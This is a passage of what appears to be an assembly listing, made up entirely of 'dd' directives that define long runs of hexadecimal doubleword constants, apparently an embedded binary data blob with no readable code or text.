320EEC10h, 96F5C201h, 0C4632B6Ch, 0FC0AE094h, 0F6E1DA00h dd 8A682F81h, 91A17B05h, 34316CF8h, 800C9BA9h, 93E2FA01h dd 0E4146CFDh, 1CC28AAh, 0F9895829h, 50F55D7Dh, 550AEC0h dd 0BA0DCE00h, 43EB57F2h, 7F530064h, 713084D0h, 0D1498BBDh dd 7A370E6Ch, 0A62B4094h, 3C7E15h, 575AF4F0h, 0C5011BEh dd 88E0F868h, 4A434C01h, 9FFCFD94h, 7D0A1321h, 525033A3h dd 80C2088Ch, 3DAF280h, 57150D81h, 7CC4108Fh, 0A0005C7Ch dd 30CBF370h, 0D0F275h, 55F8F420h, 0E49B5FACh, 6EE0CF0Fh dd 84419DB1h, 90C81948h, 5280A0CEh, 240DBD50h, 80204266h dd 0CC622B61h, 7C94D17Dh, 488FE27h, 96EB47FCh, 880C48E4h dd 0B965825Fh, 2B6A0CB0h, 1F282FE6h, 1F71E284h, 0F4888A7h dd 7200C43h, 12F0E327h, 410F53FEh, 8CEDF701h, 0B41933h dd 3970EBE1h, 7A66638Fh, 42A6F900h, 27DF2AFCh, 7BD10015h dd 0BA3FAF5h, 0B90283D8h, 57F66B5Dh, 3520A1A0h, 1F0D18Fh dd 0F54D00A6h, 7610DF2h, 53078812h, 668C1BCFh, 9D80A1F4h dd 953ABFh, 286ED429h, 726F75AAh, 0B76DC600h, 0B9DFE690h dd 579F0EE1h, 0C0A06782h, 0D519A42Eh, 1D1E30C1h, 7DF6CE5h dd 0F3234C18h, 75335057h dd 300EB318h, 0C9CB99B5h, 0B310031h, 0CED8255h, 24985AA0h dd 3075F1F8h, 293FAF19h, 70809210h, 0E2A1495Ch, 611D9D75h dd 0B114F6B0h, 5DAD2785h, 5CF22F80h, 2901BEC1h, 413FC7F8h dd 0E8F00439h, 38560471h, 0C45324B4h, 75B03005h, 6405C0B7h dd 0EEF7D166h, 177B808h, 5672F8A2h, 53E2ECE8h, 0E66CD57Eh dd 0F075A890h, 0EF2504ACh, 0FE5A0D3h, 0ADC1010Eh, 0B0406EBCh dd 4870EC84h, 0BA07FCF1h, 9CA2ED98h, 0D128F041h, 9707BCEAh dd 1BCEDE41h, 0BE80F490h, 27630625h, 18EAFA05h, 915D1100h dd 55E6FB02h, 22E13AAEh, 663F0A7Ah, 38CA3B9h, 0F57549C0h dd 10755E83h, 41D0D26Fh, 0C8963FEAh, 1CB829A0h, 0F237605Eh dd 0C720EC30h, 52E68Eh, 0D8A95C44h, 74F79368h, 0DC6FB101h dd 0A751A8D3h, 3ED095D1h, 31EC00B2h, 0B76E701Ch, 0DF58E58Ch dd 0F59C00A2h, 0CE810DF3h, 6F26007Ah, 0A2C031CFh, 10098B0h dd 4A29EB4Eh, 3A0026Dh, 0F0B9396Bh, 4798EDE9h, 212A89E1h dd 920ED0CAh, 0C9536652h, 0D1680051h, 1273EB6Ch, 33F2B18h dd 2A2F0324h, 75C224F8h, 21ACC603h, 7C1CB268h, 6B3D0941h dd 3C2A59D0h, 0D544BE34h, 0C1476A19h, 4BE21D11h, 44A9E28Ch dd 0A8F88468h, 78F597A0h, 5EA401DFh, 0EDA8AD49h, 0A32080EBh dd 0EC1E0142h, 0E03C4984h, 56285232h, 10C15102h, 51D47735h dd 2EEA0C3Ch, 1229B18Dh, 19DAC65h, 8C17B0ACh, 80209145h dd 0A4E5064h, 8434C99h, 4C281159h, 714601E4h, 0E9D38C12h dd 19923DF1h, 84FC440Eh, 4F38C05Bh, 170181D0h, 58F4F3D1h dd 0A1DC0BA4h, 276400CFh, 811CF84Dh, 88A4A53Ah, 9C75D105h dd 0C9C042A4h, 386C5EA3h, 0CE3FF7CAh, 0A2632F00h, 66670822h dd 0E7133Dh, 5C57B211h, 0A058A67Bh, 123B5FE4h, 1FB35EAFh dd 25934234h, 0AC440972h, 73204001h, 605499B0h, 0C3036833h dd 0AAB914CFh, 0A448748Ah, 0D700A360h, 42EFB3BEh, 481D67E1h dd 231E6841h, 0E93CC2F9h, 24668C2Dh, 6D805EE8h, 24274918h dd 326E0275h, 0D1736B2Ah, 600E686Ch, 0C16CE2FDh, 421BAFBAh dd 5097E454h, 0E4418248h, 0A1436E01h, 304C1FC5h, 0E5A519F1h dd 7F3BA89Ah, 0A13B0F74h, 0F88F8012h, 0A9EDA6DFh, 8450EA5Ch dd 1DA9AF55h, 80BFEB5Dh, 273AE878h, 0AD4905DFh, 0A71313C0h dd 0E2F73C40h, 61F16B0h, 5FAA55F2h, 7800A95Bh, 0E041AF49h dd 0A8AC2EBDh, 30E9056Ch, 63B18E51h, 29019EE0h, 2AD26D31h dd 0BC496AF8h, 0A13DD4h, 0D76833EAh, 0BB7D4455h, 80D4171Dh dd 0E0186F15h, 24BCFCh, 8B235472h, 0F8C3BF70h, 0E7182E1Ch dd 0A497A54Ah, 0D15189h, 0FAD3045h, 2E70006Ch, 29934E63h dd 55007338h, 0AB826FBCh, 1B727F41h, 0E95DCADAh, 0EE9A2E83h dd 3B9BA860h, 0B39040ABh, 0BF00387Bh, 4578422Eh, 0C04C0736h dd 18C2E339h, 0C754D81Dh, 3630A38Ch, 7BE9C854h, 951A0778h dd 492B6F25h, 831C502Fh, 0FA3DECE2h, 0FCCFC098h, 0F9A4E750h dd 0D56DF301h, 2B4B4017h, 0B5A47D8h, 0E05DC0BFh, 4914A601h dd 0AD703456h, 1891F2F2h, 0CE3BB000h, 0FF18E9E5h, 0B275EC50h dd 10191E5Dh, 0BCBE00E0h, 24A6DA79h, 0F1EADF00h, 3D599B25h dd 0A45C1590h, 293FA4B3h, 30B04EA8h, 25387410h, 827ADA78h dd 5BFBE200h, 0D106A2E1h, 59D0A152h, 43FB084Ch, 5C2500E4h dd 48FFE3BCh, 43200E1h, 0EE7357B1h, 60001847h, 0B081ABBAh dd 142AD16Fh, 2888553Dh, 285D1580h, 0AF255678h, 24AAF429h dd 0BD923A70h, 9B800714h, 2B430063h, 0EB00E652h, 5A5C767Ah dd 0A8EF4E3Dh, 3297A890h, 6195DCFh, 1985FC61h, 652016F6h dd 220B339h, 1AA9EA1Dh, 0F4A8D4C0h, 0C250C0A4h, 590128E8h dd 5834BCBFh, 5080262Ah, 27827A9h, 452E4181h, 5C048874h dd 480A6E0h, 24B83DF8h, 8028DC4Ch, 0A0E150DAh, 300BFB5Eh dd 43DCDD5h, 1AB6E34h, 0A9AAF454h, 0F86030DAh, 0AC18E8B0h dd 90D8594Ch, 49EF609Eh, 201C115Dh, 0F4F294A8h, 38AD6Eh dd 0AC77F794h, 0EF6B002Eh, 41C05D75h, 6A54D108h, 268CFE08h dd 13B8B901h, 0C48144Eh, 23A7EE03h, 3F9817A6h, 9B53EDB8h dd 0CC64C244h, 9AD4CEF3h, 6E2507C8h, 0B0F8D562h, 99F2736Ah dd 0EE408C0Ah, 0CB19C803h, 6E082938h, 0C33790FAh, 0A0C16158h dd 34214FA3h, 9B9D008h, 905775B1h, 0D019C830h, 4EF4E414h dd 0CAC51E0h, 0B0AD56CCh, 97A448BCh, 0AD210405h, 0F897A402h dd 0F1B0A0EDh, 3638BDFh, 0E1B38260h, 12D2EC3Ah, 181C0899h dd 0EF5512B1h, 0B07C156Dh, 0EBE22900h, 75BD815Bh, 0E609F490h dd 67321A8h, 0A0A07B5Ch, 9807938h, 61060555h, 387EFC00h dd 592648C0h, 8CE24C4Bh, 835A00B9h, 7A80589Eh, 30E8B209h dd 6031B51Ch, 0E600E1F6h, 0A199154Eh, 0D225E0h, 11EE75F9h dd 0AB2C1016h, 0EB402A09h, 0FB5080F1h, 4C24AC2Fh, 5C00B436h dd 5BBBD13Eh, 0D6073983h, 0D43DF0AEh, 0E95FC3B0h, 49B49030h dd 90DEB01Bh, 5B040D3Ch, 0D466A0A3h, 13849524h, 44C414EEh dd 6E166F09h, 0DA18E08Dh, 2C977304h, 0EEB2C1F0h, 80145D60h dd 124F8100h, 900A1128h, 0AB41A218h, 2F7718h, 99B8DC38h dd 2CBBB375h, 0D6A43C14h, 59360094h, 6B5A51C2h, 0AD91C052h dd 0D1EEA43Dh, 0E937ED0Fh, 2DF8A3EBh, 0C98D92Ah, 0AC6389Eh dd 50C05A42h, 110FD0CCh, 5753528h, 4CC04832h, 0B6374Bh dd 4C5466D9h, 311E27A0h, 124910B0h, 73DC15A0h, 3E521418h dd 20FCB230h, 34CD2960h, 0B412C092h, 0CC0072B6h, 0E9A0C226h dd 3001016Eh, 6271A8E7h, 3DD88359h, 9075D3D7h, 48C960E2h dd 7306A0B7h, 787B6D2Fh, 796F3F0Ah, 3D070CB2h, 48C9AF0Fh dd 6E02414h, 0A2A8AC30h, 310010C2h, 0B22C8B6Fh, 9C44EFh dd 0DBEE32BDh, 0BF23A05Ah, 2F00B4B8h, 6ADAA3ADh, 1C515C28h dd 1E573F42h, 0BBE147F2h, 0F0CBC155h, 59E88182h, 0B006BC7Fh dd 7776D851h, 0DC290840h, 0E8122C1Ch, 81224EE4h, 0A8C0C493h dd 67143FB2h, 0FCB028h, 23619975h, 0B92D2EE9h, 73E500E8h dd 5E9E2859h, 0E7CB6604h, 2CD0A758h, 3948DCBAh, 4980F1D6h dd 131D0ADAh, 0E059647h, 7F5D4467h, 7C1BBA80h, 17859829h dd 0C6E1E7h, 2099EC48h, 114A359Ch, 61DBB440h, 9AAC771h dd 82752C3Dh, 0B5F35C80h, 6D03A523h, 5D9DE0D9h, 0EB181E52h dd 530A0A87h, 2DE50048h, 59969556h, 0DEF5811Dh, 91D212C1h dd 423127A3h, 6CF7DE8h, 533522D1h, 0FA033989h, 0A275B820h dd 7DCEF866h, 22ED000Fh, 723F1112h, 0A1041906h, 6425926Bh dd 749950E4h, 0CB1F1CE8h, 51ABC01Bh, 2C67F67Bh, 0B66EC60Bh dd 0A1C086D7h, 0B7580519h, 0D1F4A7AAh, 0E26EEC28h, 5140AD22h dd 2F43006Ch, 5DB49430h, 0C19C9D00h, 0C8D60213h, 317618h dd 92A0FFDDh, 0D53B0BA1h, 170F7AF8h, 80FCBEEFh, 973A9C4Bh dd 18D76240h, 7B00C657h, 963FBBh, 4D353DF1h, 150CBAEEh dd 3C93A600h, 328E798Dh, 3629C79Bh, 124B0061h, 16EEDED0h dd 0DD082866h, 0DAD90021h, 0C7F06EFFh, 30004299h, 942747C1h dd 3C9216h, 0F8CD2040h, 3A9D11DDh, 0BE018618h, 0DB7B80h dd 466B584Bh, 3E16396Eh, 303AF63Ah, 6F7E21C9h, 4559005Ah dd 0BC7971A9h, 391D342Ch, 4C403C91h, 0BEC5C928h, 0DDA800C7h dd 5160F338h, 40584910h, 736B0009h, 0F8633247h, 0AAFB0158h dd 89C403CDh, 0A7A6D8D5h, 31A44800h, 7D2A4A69h, 7A500008h dd 545D21F1h, 0CF0EEDE0h dd 0AE28DCA7h, 0E71AA0ECh, 0F403B10h, 0D7627B68h, 0BA7E7061h dd 9EE939Dh, 80E2F900h, 0B01C1B51h, 1DAE04E2h, 0C0A96453h dd 248607D5h, 8A8BC701h, 21FEEEF7h, 0A77B088Dh, 22F1F820h dd 0BD10A618h, 1A96710h, 20582C61h, 0F8AE2FEEh, 7E2C80E7h dd 8C00AA35h, 2206A5C9h, 426907E2h, 0C09A3BB2h, 0EB6B8D53h dd 0C01F80C8h, 8BC522F0h, 98C9DA21h, 0DB3E2116h, 0D7BB221Fh dd 77F7403h, 6856F843h, 42170119h, 0F89BA8DAh, 7031A167h dd 1E187271h, 38EE5F78h, 6D7C3100h, 45D867CDh, 0B59C0F0h dd 7616FED9h, 8F01CB3Ch, 0ACDC236Fh, 0AE2108h, 0D2CDFED3h dd 9EE63C28h, 38F82D00h, 660DE50Fh, 3EAAE482h, 7F00FE4Bh dd 2C21C96Dh, 6761CC31h, 7ED10E18h, 0BF78F0h, 247F2BF3h dd 6B4373CFh, 20720C04h, 8E80B46Ch, 0F9B003h, 53ECA5C7h dd 30660EE3h, 0A3E32F8h, 745F06EDh, 818DE85h, 0B5FE45F6h dd 0B6ABAC00h, 0B1BEBFh, 0CC3B1A19h, 97D8C0B0h, 5A89F100h dd 0B7C295ADh, 619474F5h, 0E1772103h, 0C84460F0h, 3860B178h dd 0B3C71718h, 0A4982FDCh, 0A200415Ch, 0F9B52153h, 0CC1375E3h dd 1231BF80h, 6F25813Fh, 579D2750h, 995F5510h, 0FF100002h dd 74ACA070h, 38C0CE21h, 0CA43BF59h, 4080E942h, 0ABF89D90h dd 0EE012A3Fh, 0F38209B5h, 6180BBB8h, 6DF88CEDh, 107D59Eh dd 1ACB4E51h, 21B026h, 3D4F042Fh, 0FD2DA0E3h, 83C1A61Ch dd 39859A00h, 0F049746h, 0C0B547A3h, 18387086h, 0ABF6E900h dd 0EF71B984h, 0F3080387h, 0F0CCCE4Bh, 0C4647399h, 6A00F69Ch dd 8E6637Bh, 8ABB02h, 0ABB02381h, 9A26E7F3h, 0B87F5600h dd 47E225E1h, 0DED500E5h, 0A251BD57h, 0AD029AFCh, 0CB7A39BCh dd 0DB656123h, 0EA1A7FCh, 99494D5Ah, 4B3EEC00h, 0B5003A93h dd 0D03476AEh, 520EF8h, 7C3028DBh, 0AFC5CEBBh, 0B3234000h dd 4271E60Ch, 0FBA10F96h, 0F3E09E78h, 2A51465Dh, 789D273Eh dd 42E71B2Eh, 598E053Ah, 0CE809169h, 7D98A29Ah, 83180140h dd 7D76F34Eh, 7228881Eh, 9959045Ah, 0B5C480ADh, 80006606h dd 318B3D56h, 0E0D1A75h, 13D86130h, 208EF647h, 197F23D4h dd 56003DFEh, 21E76839h, 0E9CAA5h, 298F5CAAh, 19269009h dd 45FE5700h, 9E7B3585h, 87F50059h, 0D3BA24ABh, 3700E541h dd 882B69B8h, 1EC80D9h, 2E9A1DF1h, 0E4E90164h, 8C0392FAh dd 7482CC5Eh, 8F93C011h, 43D8007Bh, 1969E7C5h, 80009C9Bh dd 2FA8C654h, 1B3BD44h, 9981DA67h, 0F0D4196Dh, 0A1009F4Bh dd 2DECC9F4h, 0CF0C92h, 1D3C86C3h, 3F1423DAh, 2CD9A51Ch dd 9982980h, 0A05291E3h, 24CC45B8h, 7AA73DBh, 709D742Bh dd 0F5CFC113h, 6DA06E0Eh, 352C4066h, 9604D4h, 0AC6C8440h dd 4ABC5D33h, 0BB00EC73h, 6F436738h, 0F0C05B93h, 62190304h dd 5E239172h, 0BDEF6087h, 9006E30h, 25D595ACh, 3EED12Fh dd 0D6B22B1h, 21B2BC45h, 0B46DE2E0h, 7653D500h, 29376491h dd 57151DF7h, 94D2AAh, 5CC45B14h, 5F0063ECh, 84834C7Dh dd 0EF21B28h, 0AC9B4E69h, 6CFAB8C0h, 0F8071A41h, 0FB445E47h dd 0C47266F0h, 2C7FE0D8h, 1B0A6ADh, 48739171h, 3398DFFBh dd 7B7E525Ch, 976DC800h, 53E6CBF2h, 0C7E300E4h, 0C5F48C9Ah dd 3800CEACh, 425E8581h, 50438Dh, 56B6E16Ch, 365C777Ch dd 80893938h, 6D926AFDh, 0D3C94Ah, 0BB88D132h, 2E99339Ch dd 0AC964B00h, 0FB82B80Eh, 5C160751h, 0B06220C1h, 0B6BD28E7h dd 5B071DF0h, 88CFE872h, 6677A9C7h, 0CC64DA70h, 86BA0007h dd 0F46AE22h, 0D176D88Ch, 2A014371h, 2BA4E66Ah, 5830F649h dd 0F39B0063h, 1FB8D532h, 0A90F3F97h, 8E949F59h, 80A0CB44h dd 12D18880h, 47B600B1h, 40D35AA2h, 55004482h, 8D6D4AF0h dd 0FFD48h, 592C15C9h, 0AEB87306h, 0B203A878h, 0D1FC1A64h dd 0FFC8C042h, 5E79183Ah, 0F41BB8B3h, 4103BF00h, 60A5BBB4h dd 1580098h, 8072FA48h, 6003763h, 732E62EDh, 4CE2772Dh dd 87131F23h, 9E1F36h, 75462A17h, 5F06D626h, 88B40DCh dd 0EFAB001Ah, 0B73B43Bh, 670E12C4h, 60BA779Ah, 7B051CCFh dd 0ACB500F5h, 5EBCD787h, 0AF01A2B7h, 0B2856B63h, 1BD04FE5h dd 3A30FEAh, 0DA2F672Ah, 0AA212F60h, 23A53B4h, 0A2CF83D0h dd 0F856BA7Dh, 0F9A60B1h, 1B522726h, 0DEC40DE3h, 0E76781F8h dd 83139D00h, 17445B3Fh, 1BE20041h, 4B9526C9h, 0C500F02Dh dd 0DB19D692h, 72511FDAh, 6A8300F3h, 4177CFDh, 0DF1DEB60h dd 8CC0F230h, 7F6F682Fh, 8A0D06F1h, 0D17389EFh, 4BCBAE00h dd 0DBBF1DD2h, 34DA1C55h, 2BE305D5h, 0B1B840F2h, 0A4314F01h dd 0AA900B00h, 60702632h, 0BCCC00BBh, 52070A96h, 0D60063B8h dd 0BA1B83E8h, 1C65E97Dh, 8028D893h, 0DDB1FAB4h, 0FD00C18Ah dd 3F2CA1A5h, 0ED5D7Eh, 2F38F1B0h, 0BDE4B997h, 0AB498100h dd 0F35E06F4h, 0C3200D8h, 0E76BD44Fh, 0B10062A5h, 58FA61AEh dd 0F4FBC92Fh, 1FA8F85Ah, 272D06h, 0BC5B388Bh, 96003BD6h dd 5A6C61DEh, 0F02815h, 2B0B488Ah, 0D4499F27h, 6787900Eh dd 9E29A0D3h, 0CC6EF9h, 6992ABA0h, 0DA201DC2h, 4C7AE70Ah dd 4A07959Ch, 6750E966h, 0A0ADF7h, 733C1D70h, 54589619h dd 0D906AECh, 7EFE751Ch, 0BF15FCC0h, 1EEA5Ch, 3548B802h dd 49D6692Ch, 0B42C100h, 0FB5D85E9h, 19B0002Dh, 7D17643Ah dd 8C1D9D1Ch, 0F40024E7h, 0A6B75052h, 0BAA91CC9h, 0CB5900BFh dd 0A8DADC8Eh, 0CCD3EC00h, 0AF86F7CDh, 6676068Dh, 10FC8C0Ch dd 82EBB00h, 0B9B3133h, 0F80D0CA5h, 0BD269DD9h, 0E5516C00h dd 77DE6862h, 35ED00DBh, 0AA853FAh, 71012D74h, 914DDFDAh dd 0ADD0B8F4h, 6658017Ah, 0F50BD2CAh, 18A040E9h, 31794596h dd 95FE0500h, 0F257551Eh, 0E549006Eh, 0DCE8F419h, 8E0113C3h dd 4C6B2615h, 5820124Ah, 9870B9h, 2464C0B8h, 0DDFC3DC9h dd 0E957900h, 0ACA9DFB1h, 0BF570048h, 0B2F5BCD8h, 440092E4h dd 0EC5F1E73h, 2BE74Eh, 0C162DE8Ch, 0AC5111A9h, 3A0F41F0h dd 0E4462CC5h, 8DC5983Dh, 19B81680h, 0D0AE002Ah, 0E6EA9B6Ch dd 3100CC0Dh, 0B72F03B2h, 3E56E68h, 15F91D20h, 42C1C258h dd 0D121809Eh, 0C640F04Eh, 192B1C85h, 6F4D80FBh, 5E1409E6h dd 53343607h, 931086C8h, 148F7EA6h, 949A01A0h, 8B7D1D00h dd 5FE95CE2h, 35A7F600h, 0C28BF66h, 0D4E3A0B4h, 8BF2003Bh dd 0DBA5874Bh, 943ED81Ch, 472E0068h, 0BD78A410h, 0A3F330DEh dd 190C1C5Ch, 83385800h, 2B9DA2BBh, 6085E618h, 0AEE8708Bh dd 0F00C68A3h, 101C0543h, 0F1FB1673h, 9F4E06FEh, 190020A8h dd 24581844h, 6A2B84Bh, 0F7FF87DDh, 55F0B8AEh, 9932A00h dd 0E3A7923Ch, 56AB005Fh, 1C6F1F24h, 0E007A851h, 234C1759h dd 0DD9DE3h, 0A2FCE8F1h, 0D903F568h, 18C01678h, 7BF34142h dd 30D50314h, 6518E52Ch, 0FCD323F8h, 0F7CCDE00h, 0A924EF1Ah dd 51B100C8h, 61EB2B94h, 8B001BCBh, 0B35DDE26h, 1FDBD88Ah dd 0E6F902h, 0B80D67B0h, 2E00AD05h, 2DF48ED6h, 7D46563Ah dd 33EA008Dh, 3CB138A7h, 0EC00ACCAh, 0BE51B5C9h, 0D2BDB0h dd 0C17BA0B7h, 294116A6h, 0CDFC9170h, 56238C00h, 0AE8FF520h dd 0AB8A3F7Ah, 8D6A3E03h, 0E90CA00Ch, 0E008970Eh, 41630FFh dd 0D8B445D0h, 0F0147C05h, 0B800B047h, 9249830Eh, 7EF618FCh dd 0D5102906h, 88F4AC88h, 0DD895BFFh, 210C24C2h, 8B12E930h dd 890DFE10h, 405412C8h dd 0E55D65h, 0FAA7382Dh, 4A586264h, 4E129E00h, 1E45ECDEh dd 0EF9100FBh, 1D03E2C9h, 0BE904B0Fh, 91C3CE2Ch, 71965900h dd 2489540Bh, 0ABDB5Ah, 0F94DD558h, 8C4A6D7Dh, 98009DBCh dd 0EA22F4D3h, 410072A0h, 0E730BF7Eh, 0D695Ah, 55D70FC8h dd 39758D81h, 473138h, 2D7691E2h, 0E2821AE1h, 0F246077Bh dd 0A035CD65h, 0BA3CFF1Bh, 419FBD00h, 93391CF9h, 0B94505A9h dd 0C0462E89h, 86D7CE49h, 11DA9D06h, 188C5Ah, 27927437h dd 0C3FF1449h, 0BCBF8901h, 0D140769Eh, 146064C4h, 0E0865278h dd 732B7B00h, 0A0C80A11h, 2FF5ED00h, 41CD0494h, 31F41C80h dd 56B54087h, 0D717A75Bh, 9EE7D639h, 46402F0Ch, 0BA890F1Eh dd 668D0076h, 5F3CDD6Eh, 69507CD1h, 521CCEEEh, 488982B6h dd 0BFC40013h, 78074EAh, 7BA3384Eh, 1F4FF0F9h, 0C80B3BF6h dd 0D5BB3Eh, 0C9317C76h, 0E372007Fh, 5B54CB3Fh, 19502418h dd 5E0097BCh, 0B5344F07h, 0D6E395h, 90929AB3h, 0E41A0273h dd 0EE758707h, 281030B0h, 3F5FEAAh, 0D1851446h, 9EE8430Eh dd 2200497Bh, 0BF0B8B5Dh, 780AE132h, 0C2CA06ECh, 40F3C150h dd 0A6958D1Fh, 0EC7DB38Ah, 3E4C9000h, 77E4A03h, 0E2527258h dd 5E802063h, 0CEFC4FBEh, 0D46C5F00h, 16BD3498h, 0CB74017Ah dd 0F2AD5202h, 0FD36C033h, 723899FCh, 0ECD0803Ch, 0E4EE0EF1h dd 3716006Fh, 6409434Eh, 0EB3B9180h, 76D61F3Ah, 4003DD0Eh dd 4F627FF4h, 0E22603CFh, 719A78B9h, 1E6DF2B0h, 5F39B500h dd 0C276DB13h, 1D210005h, 7DB95E23h, 0BA00954Ch, 9ED8FAEAh dd 580FFFh, 0D4FBF76Eh, 8BF4E755h, 14EC6B01h, 91A8AF7Eh dd 365C30h, 0CCF6ED04h, 56202C88h, 25C9EB0h, 0F4071CB2h dd 23372F80h, 0DCA0F6h, 8C3F87B8h, 3B09124Bh, 28089900h dd 0AC32A2EBh, 70DE0069h, 0D14BB4ECh, 9018D93h, 0F9D4FAC3h dd 56F09B1Bh, 4D50003Fh, 7BDC37EDh, 360042BCh, 497A53E7h dd 373EAAAh, 0B4E41FE1h, 568B262Fh, 0C4BF9DA8h, 50DCB03Ah dd 2E1C16A0h, 0A4498DD1h, 0C1980741h, 8F2D2AC1h, 89528C47h dd 525C601Ah, 0C00C00CBh, 3EE4A7A9h, 0D011F33h, 0C928245Eh dd 7880BFF5h, 0A89C0195h, 0B30090C4h, 4F641DB2h, 0D8CCF86h dd 35C651EEh, 2E3BF896h, 45007C77h, 58A86CF9h, 1DB086h dd 0A666E216h, 799C070Fh, 4F30BA07h, 0F0000BA4h, 0AFC9D1h dd 6B87D334h, 27B8BEFBh, 0FE39A0C0h, 0FEE348CBh, 177C00E5h dd 0DAB2359Eh, 2300C2D5h, 579459FCh, 37ACF9h, 0C7B68DE4h dd 1CA3AFAh, 9BD6C200h, 0AC1BD4A6h, 472201A2h, 4F31E073h dd 0F936C860h, 6A84BA00h, 9B9EF3A9h, 73EC0CCBh, 0C1F85972h dd 80B89D38h, 2DCAF980h, 358481h, 0A913ECA6h, 0ABA8C05Ah dd 8BE25D00h, 1153E82Bh, 0E040920Ch, 0E52E3DB1h, 40DD1E00h dd 63A83DF9h, 0CD604401h, 25A467Dh, 6AB7E840h, 521800BCh dd 60F414A6h, 99793D5Bh, 965DC600h, 32297F9Fh, 90DF008Fh dd 36B2B6AFh, 3800CA05h, 7B276E98h, 0D9A644h, 9C5CFA9Ah dd 0E36701AFh, 0C5F83E00h, 4C026FE9h, 3C9E900Ah, 4500B691h dd 0FC63CBEEh, 6007140Eh, 3AC764E5h, 0B1B53760h, 1D57077Dh dd 40AF54DDh, 0D4BF742Ch, 0A4A50100h, 509E5EF7h, 42E90018h dd 58A80DEh, 967E1BC1h, 49465400h, 3C888636h, 6D3F0B98h dd 30919B7h, 0AA8B87FDh, 0BB603D07h, 39F8478Bh, 0E0895AC1h dd 0D800B7E8h, 9AB26E94h, 0E9D17000h, 5B82C115h, 85BA00AAh dd 398F9EAFh, 0FA0055E3h, 8B957496h, 60FDC7h, 3A0C51CCh dd 2861D2F0h, 7DDE2C00h, 0DB9A7459h, 246F0079h, 0A53E19C0h dd 89003723h, 76E55BC1h, 34E651AAh, 7B8253Ch, 0E0D222E6h dd 3489C4C9h, 3F7D5D1Dh, 4503B31Ch, 81C0219Eh, 0EC34D85Ch dd 0B54A006Eh, 3B4C8C14h, 0DD02ECF9h, 0D3E39EC6h, 74DAC191h dd 480CC7C4h, 5E0E8DB2h, 55E576A7h, 0CC0A80D3h, 0F3A3E164h dd 8BC67EF8h, 3BDC8702h, 0C0A2F034h, 0FFBA0Ch, 5153D4A0h dd 0B035C55Eh, 80B7AF3Dh, 0EDF9DB66h, 746BFAh, 0CDAD9313h dd 0E7BBD2CFh, 27626F1Fh, 0EBAF8300h, 1B5D5F1h, 0E261912Ah dd 0DC86313Bh, 25018F48h, 0ADC9E394h, 0A8F35FF9h, 1F3FEC7Eh dd 80F41F4Ch, 130D1B29h, 700D5C1h, 3034D74Dh, 1E655282h dd 0C7DC261Eh, 0F0F39DF2h, 69BCAF6Ah, 37A17D1Dh, 0F8836DC1h dd 0A8309FD0h, 5849245Eh, 70FC2874h, 8A2E00F2h, 33DE603Dh dd 1700EFABh, 0E2905DFFh, 6DD184h, 7ABDB4E7h, 13B16631h dd 803F84B8h, 0C10D2720h, 0A830B5ECh, 918507BBh, 87DF04CBh dd 373080DBh, 26581AD0h, 772E005Bh, 0DC386258h, 35E60932h dd 98815918h, 0E08B1D5Ah, 0D476E307h, 0FD012A73h, 7279DDAEh dd 80C0BAC5h, 0B5181354h, 64CC008Bh, 34DFAA71h, 0D20520E1h dd 46083507h, 0E002669h, 4A81391h, 56AF0949h, 40B48864h dd 0C7C2F100h, 10B93DF6h, 74204C3Ah, 28170600h, 92860831h dd 40AD5326h, 2F7F6101h, 48737C58h, 8BF7D007h, 8E4200A6h dd 4C17D870h, 0D01CDDE8h, 87C67907h, 1CBBC130h, 758B00D2h dd 3831A4CEh, 9000EAFAh, 6887736Eh, 80DFA1h, 9E0E08F2h dd 34E14004h, 98298102h, 0E00A75D2h, 121516ABh, 175D3Bh dd 8FC80C74h, 1E2CB989h, 2300F4A5h, 781B2DFDh, 96850093h dd 18529A03h, 0B0007631h, 7247353Dh, 7A9C66C6h, 0EE75B8h dd 69B23D5h, 0D9EDA26Dh, 98116F00h, 819CF045h, 0C0F10E02h dd 17A22EA5h, 0F8611980h, 0B80DCC60h, 0BAB50800h, 4762D40h dd 54D60050h, 0DD63B7A3h, 0C016CD5h, 7CF10315h, 79F8295Dh dd 0A48D4CF8h, 0C9DB3A03h, 0EBF804B6h, 7D009587h, 0E72EE175h dd 4B19CEh, 0DE3A3585h, 0B39C3DCDh, 0E8DFA700h, 55D54666h dd 0D275B2h, 0B0FAE66Fh, 5687958Bh, 0AF787E07h, 5011A48Fh dd 3080EC7Bh, 2412A6C9h, 81E795Ah, 0D18065FBh, 23B7639Ah dd 409428h, 0FF97F6Eh, 5618C4DBh, 35D006ADh, 0EC9A00A0h dd 34C35B7Bh, 0FE2CBAE1h, 0C20120D3h, 47F5786Ah, 18E84361h dd 42CD0024h, 0CBE68622h, 6700798Dh, 0B805DBF1h, 0FA759D9h dd 9AE040EAh, 371096E0h, 52004B85h, 0D2B9D634h, 231693h dd 8C59C061h, 0B336B18h, 0C3912F00h, 2C3B39E2h, 7FC90E30h dd 0EB0012EAh, 593A7B08h, 870F0890h, 0E019F4C3h, 65DB69D9h dd 3D17F40h, 0B4CC6DBBh, 0B780A431h, 7C13FC4Fh, 7F003B75h dd 0B73AD40h, 7D6B806h, 8B9DD7D1h, 0A8A7902Ch, 0F0FC827Bh dd 0C1DAFE00h, 92EE8F43h, 0CC200019h, 0EF36ECC2h, 0DF14CA21h dd 10A483CBh, 0EB8B8087h, 5B281400h, 83002BD3h, 0BB42199Eh dd 151C8A3h, 863C9ADCh, 60A60B57h, 0E1003250h, 183742E0h dd 78DB06CBh, 8F19C024h, 56A37B93h, 0B030F4B0h, 0F4D56B2h dd 7CDF035Eh, 5242DC53h, 90300CD8h, 0DDC6E000h, 0AABAFAE9h dd 0F54E0141h, 8728AD34h, 9A78FC2Dh, 5A915D02h, 60856611h dd 199F1FCh, 0F8829565h, 0E4CB44BAh, 0B50087E9h, 0EA44E7Fh dd 0F75BD9h, 6E382395h, 9B457B4Dh, 150042E6h, 0B1590E0Bh dd 0F2C30F78h, 50BF03CEh, 21EADD8Ch, 0DE852888h, 0C29B1E05h dd 7CC0EBEDh, 43BADCD4h, 81E00F2h, 1D5378ADh, 394500CBh dd 497DF24Ah, 0C7F23828h, 0C3071F78h, 9DBF5481h, 0B13A12D1h dd 7B08B030h, 1B910083h, 0A6EF6906h, 5C044D93h, 0FF1211A7h dd 0DB783480h, 0D02F00B1h, 0AC72567Fh, 45034F62h, 0DE9A352Ch dd 0E3101FADh, 4109001Dh dd 8C608B46h, 0F69BDF05h, 0F3C00AABh, 7140A1ADh, 8EC50245h dd 16E89A18h, 5880CAE2h, 5E99861Bh, 0A7FE3624h, 33F12003h dd 0EFA0054Ch, 0D0EBCC90h, 